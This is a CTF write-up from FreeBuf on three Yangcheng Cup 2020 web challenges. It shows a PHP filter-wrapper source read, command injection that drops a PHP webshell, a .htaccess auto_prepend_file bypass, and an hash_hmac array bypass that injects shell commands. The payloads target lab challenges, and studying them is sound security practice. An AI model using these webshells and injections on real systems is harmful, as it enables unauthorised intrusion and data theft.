freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

buuoj-1 羊城杯
2021-04-27 20:26:50

Buuoj

今天迷迷糊糊做了几道题

[羊城杯2020]easyphp2

image-20210426225309524

url如下:

xxx/?file=GWHT.php,由此想到伪协议,构造payload读取源码:

?file=php://filter/read=convert.base64-encode/resource=GWHT.php读取源码

显然filter协议或者base64编码查看是被过滤了的,于是尝试更换编码方式

?file=php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php

image-20210426230414322

因为可以看到关键源码,所以我就没有转码。

可以想到,进入计数器页面,然后实现命令拼接。但由于不知道环境变量PASS的值,所以页面会一直回显hacker。

后来我在robots.txt中发现了check.php并找到了PASS的值,GWHT,修改cookie后,我们就可以进入计数器页面了

image-20210426230744710

之后就是命令拼接,写入shell,payload

'| echo "<?=$_POST['shell'];?>" > a.php'

之后就是caidao连接,找flag了。

但其实这并没有结束,因为flag.txt被设置了权限,我们需要先拿到密码,解密,才能读取。

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

[羊城杯2020]easyphp

上来直接给源码

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

思路:

利用.htaccess开启php解析功能,然后将.htaccess自身解析为php文件,之后写入php代码cat flag。

难点:

绕过stristr:

添加回车符%0a绕过检测(记得要在回车符之前转义,不然htaccess会报错),system函数内可以拼接字符串绕过

转义换行符:

\ 转义即可

payload:

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

image-20210427194759015

[羊城杯2020]Blackhat

image-20210427195004432

下载音乐,notepad打开,末尾处存在php代码

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的。');
}

echo exec("nc".$_POST['One-ear']);

思路:

通过hash_hmac函数的缺陷(遇到数组返回null),使得$clandestine为NULL,之后配合变量构造参数即可

White-cat-monitor[]=1&One-ear=;cat flag.php&Black-CatSheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

# CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者